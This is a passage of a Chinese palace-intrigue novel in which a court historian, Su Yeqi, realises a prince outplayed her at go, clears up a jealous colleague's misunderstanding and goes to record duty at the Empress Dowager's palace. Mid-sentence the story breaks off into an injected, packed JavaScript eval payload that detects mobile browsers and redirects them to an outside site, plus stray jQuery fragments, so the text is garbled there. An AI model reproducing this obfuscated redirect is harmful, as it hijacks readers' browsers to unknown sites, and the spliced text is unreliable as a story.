“苏女史，安王殿下对你很不一样。”胡月偏过头，眼角微垂，眸中漾着天真。


    苏叶柒步履未停，裙袂掠过暑气尚存的卵石径，“不过是仗着苏家勋荫，得安王多分善待罢了。”


    二人手提竹柄长灯，自花厅小径穿行而过，暖黄灯芒氤氲开两团光晕，将她们与周遭沉沉夜色隔开。


    夏虫嘶鸣，掩着花丛中若有似无的窸窣声。


    胡月眼波微转，忽将长灯斜斜一倾。暖黄光晕如流沙漫过，洒在苏叶柒脚下。


    她借着递灯的姿势向前半步，隔断了苏叶柒投向花丛的视线。


    “姐姐生在苏家真好，连安王殿下那般难测的性子，也得给姐姐面子。”声音里浸着恰到好处的艳羡。


    暗处，姚淑静采露的瓷瓶在月下僵住，杏眸里先是抑制不住的委屈，随之，委屈凝成忿怒。


    苏叶柒似觉颈后一凉，仿若有视线相缠，回首，却只见夜风穿花而过，惊落几瓣晚棠。


    晦月之夜，云翳沉沉。二人渐行渐远，出了花厅。


    几番相处，胡月是怎样的人，苏叶柒看得七七八八。其兄之事，心底本就不多的歉疚便如风打烟散，消弭无踪。


    她冷不防开口，“我也想自己选生在何处。”


    “姐姐想生在何处？”苏叶柒生得纤挑，胡月需要仰头看她。


    苏叶柒轻声笑着，“就生在这五姓七望的高门里。”她顿了顿，偏头看着胡月，“生来就在钟鸣鼎食之家，真的极好。”


    真好。她看了眼天际那痕眉月。


    胡月一路噤声。


    二人踏着满地碎月而行。百步之外，掖庭笼罩在月辉里，有当值女官提着宫灯疾行而过。


    *


    夏日天光早，才过寅时，曙色已漫开天际。半掩的青纱窗棂漏进一缕朝霞，胭脂似的染上苏叶柒的眼睑，羽睫颤颤掀开，再难入梦。


    盯着帐顶那层薄薄的黛色，苏叶柒想起昨日萧衍落子时，堆雪般的缎袖在棋盘拂过的影，像极此刻正爬上窗棂的朝霞，慢慢吞噬着室内的昏暗。


    而萧衍执棋时，那抹似笑非笑的神情，兀得浮现在眼前。


    心上一跳，她急匆匆掀衾下榻，从棋匣中取出棋子，临窗布枰。莹白葱指捻子，将昨日黑白交锋之势，分毫不差地重现于纵横枰道上。


    再看这盘棋，她依然会震惊于险胜那步棋路的惊奇，彼时的灵光一现，全不是棋谱里背过的。


    此刻再看，还是会心潮涌动。


    苏叶柒凝视白子，眸光里的跃动渐归沉静。忽而瞳孔一凝，直直盯住面前诡谲无常的棋路，羽睫都不再颤动。


    良久，她似是化成一尊青瓷，就这么坐着，一动不动。


    窗外晨光熹微，照亮棋枰上晃眼的讽刺。


    白子映着晨光，刺得她眼底生疼。自以为是的灵光乍现，暗自庆欣喜的胜着，分明早将她的棋路尽数洞穿，再漫不经心引着她，一步步走进精心设好的彀中。


    苏叶柒端坐着，却是生出坠空之感，仿佛自九霄云端直堕寒潭，冷意自足底漫上，遍体生寒。


    步步是局。


    方入宫时那种挣脱苏家樊笼的畅快，眼下被现实碾作齑粉。她甚至在想，苏家也不仅是樊笼，亦是保护。


    无力感悄无声息从心底滋生，疯长，泛滥。


    此时她方悟，为何苏家强盛如此，纵然皇帝亦要忌惮，送入宫的女子却会没命。夺命刀在暗处，在四面八方。


    可自己怎能死在这里呢，要回去，回桃溪村去，痨病鬼尚无棺木。


    她得好好的回去，给他一张金丝楠木棺。


    方入宫时，作为苏家人，也有顺遂惬意，从何时开始步步维艰的呢？


    那个山匪。从被他威胁的夜开始，仿佛一脚踏入死寂的黑暗里，踩出一圈圈涟漪，圈出萧衍、谢玉、皇帝…


    昔年屠村的山匪，怎就成了禁宫侍卫，还有胡月，大夏宫女遴选，需验籍贯、查亲族、核邻里具结。山匪的妹妹，是如何跨得过这重重铁槛的。


    第一次杀人，以为抹净痕迹便是了结，对满地破绽视若无睹，如今想来，处处是纰漏，步步有端倪，彼时之举不过是塞聪蔽明。


    他的死，引来皇帝圣驾、大理寺少卿亲查，还有亲王协查。


    “因为他是黑鹰。”耳畔恍过沉沉男声，挟着漫不经心的哂笑。


    何为黑鹰？！萧衍没有给的解释，她必须在绾夫人那里得到答案。


    尚有三日，绾夫人会借休沐之际入宫，苏叶柒从未有过的想要迫切见到绾夫人，见到苏家人。


    *


    苏叶柒方踏过彤史箴门槛，便受到两道异样的目光，寻着望过去，就撞上姚淑静圆圆的眸子里含着忿恨、怨憎。


    这是，自己何时惹怒这位姚家姑娘？


    莫不是彤史阁盗册被姚淑静发现，这是怪自己利用她？何时发现的，是昨夜潜去彤史阁归放时败漏？


    苏叶柒心底生疑，脚下就转了方向，在胡月的注视下朝着姚淑静的长案过去，搬了把椅子在姚淑静对面坐下。


    胡月一声“苏女史”就这么断在唇边，手上一紧，握住雀头笔的指骨绷成青白。案前摊开的战事录已拟大半，墨迹新干，字字工整。


    这是昨日她在青梧宫秦侍卫那里得来的问询，今晨天色未明便起身，匆匆赶至彤史箴整理成文，原是想待苏叶柒来时，二人核对后，再誊抄至简牍上。


    可此刻，她盯着那些字，忽觉字字皆是嘲讽，高门出身的世家贵女，何曾瞧得起下品之人，她们才更有话说。


    “姚女史这是？”苏叶柒不知胡月这些心思，她笑得清浅，望着姚淑静。


    姚淑静敛眸睨着瑞兽香炉，芙蓉一般的脸冷冷绷着不说话。


    苏叶柒稍一思忖，“若是我惹了姚女史不悦，莫要憋着，你说便是，能改我就改，不行当是你我命理不合。”


    姚淑静猛地抬眼看过来，杏眸一瞪，委屈溢满眼眶，“你怎还有理了？！”


    苏叶柒莞笑，“那你说不说？”


    姚淑静眼波轻转，扫过周遭，在胡月身上顿了顿，压下声音道：“你说，你是不是和萧衍暗通款曲。”


    苏叶柒心下陡沉，不知自己和萧衍的交易是何时被姚淑静觉察的，可这如何就惹得姚淑静不悦。


    她不答话，姚淑静只当她是默认，冷哼一声，绣履重重踢在案腿上，“你！”她一咬牙，似是下了莫大决心，只是声音更轻，轻到苏叶柒险些听不清，“你把萧衍让给我，往后我姚淑静必记你恩情。”


    苏叶柒稍怔，迟疑道：“让？”


    左右话已出口，姚淑静一口气说个干净，“那年我尚年幼，不到谈婚论嫁的时候，便让堂姐抢着嫁了谢玉。”


    她勾起抹嘲讽的笑，“谢家是寒门之首，纵然谢玉芝兰玉树、满腹经纶，伯父也是不愿的，姚氏家主嫡女本该联姻更好的门楣，是她用了手段逼迫谢玉不得不娶，伯父这才求着圣上下旨赐婚。”


    苏叶柒渐渐明白过来，姚淑静说的是姚氏嫡女下嫁谢家子，当年姚谢两家是圣上下旨钦赐姻缘，这在苏炳昌看来是姚谢联手之意，不想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236653|181512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其中原委竟是这般。


    可这和自己何干，和萧衍又有什么关系？


    姚淑静似乎看出苏叶柒的不解，垂眸恨恨道：“我偏要嫁个相貌出身都胜谢玉一筹的，姚氏家主嫡女又如何，往后见了我也得矮下腰来见礼。”


    高门里，总藏着不为外人知的龃龉嫌隙。


    姚家有，苏家亦不少，纵是她在钱塘苏家，亦顶着这个身份亲手料理过几桩后宅里的闹心事。


    这番，她细细一想，问：“姚女史可是喜采夜露？”


    姚淑静瞪她一眼，便是认下。苏叶柒也就想明白了，她所做之事姚淑静并不知情。


    “我与安王殿下不过公事往来，姚女史即便不信我，也该知道苏家从不与皇家结姻亲。”


    既是误会，苏叶柒搁下这些话，坐回自己的案前。


    虽然她与姚淑静的对话并不能传至此，但胡月见她坐回来，很是拘谨。


    这般反应落在苏叶柒眼中，必然是心虚，只是她不打算与其计较。


    “哎哟，今日的彤史箴倒是轻静。”菅姑姑笑呵呵进来，在屋内扫过一圈，“苏女史、胡女史，”她停在二人案前，“御书房传来口谕，陛下申时初刻往慈安宫向太后娘娘请安，着彤史女官前往慈安宫录事。”


    苏叶柒和胡月起身，看着菅姑姑。


    果然，菅姑姑继续道：“孙尚书的意思，陛下大抵会提到景昀太子玉像损毁一事，凌烟阁既是你二人录事，此番你俩过去更合适。”


    “是。”苏叶柒如常应下。


    菅姑姑每次过来传话，并不久留，尚宫局里事物繁杂，孙尚书事无巨细都会过问，她的身边离不开菅姑姑。


    这次也一样，待不过一刻便匆匆茫茫去了，自然是姚淑静送出门。


    *


    申时的慈安宫很静。


    连盛暑最聒噪的蝉鸣都销声匿迹。


    苏叶柒踏入宫门时，一时间疑心自己失了聪，直到引路嬷嬷压低嗓子道了句“女史仔细台阶”，那点疑虑才随着话音散在暑气里。


    太后尚在歇晌，圣驾未至，倒也得片刻清闲。苏叶柒与胡月对坐于屏风后的长案前，这挂珠镂空屏风是尚宮局特制，既隔开女史与贵人，又不碍录事观瞻。


    研墨铺笺，做完这些，恰有宫婢奉上香茗，苏叶柒执盏慢啜，眉目低垂，举止间尽是贵女风华。


    这是幼时的她奢盼的人生，体面地活着，她做到了。


    放下茶盏，轻顾四下，慈安宫不似寝殿，倒似佛刹。


    本该悬山水丹青的壁墙供着菩萨佛陀，原应置梅瓶博古的紫檀案上，尽是佛龛。香火气无声漫过宫堂，缠上梁间垂落的经幡，诺大慈安宫在檀息里沉浮，肃穆得教人屏息。


    太后已经是这天下最尊贵的女人了，她还要向神佛求什么呢。


    太后是已故先太子萧明昭的生母，今上虽非太后所出，然自践祚以来，晨昏定省从未懈怠。天下皆知今上至孝，甫登大宝便尊她为圣母皇太后，而今上的生母赵妃如今只是赵太妃。


    纵使世有神佛，又能为太后再做什么呢。


    她什么都有。


    胡月沉默坐着，没有喝那盏茶。她低着头，腰绷得很挺，可双肩却微耸着，看上去似乎在紧张。


    “苏女史。”她喏喏开口，小心翼翼。


    苏叶柒又续上清茗，没有看她，“不必解释。”


    胡月的声音又几分颤，“我只是…”


    “你只是没有料到姚淑静会当面质问。”苏叶柒打断她，“无论是何目的，都无妨。”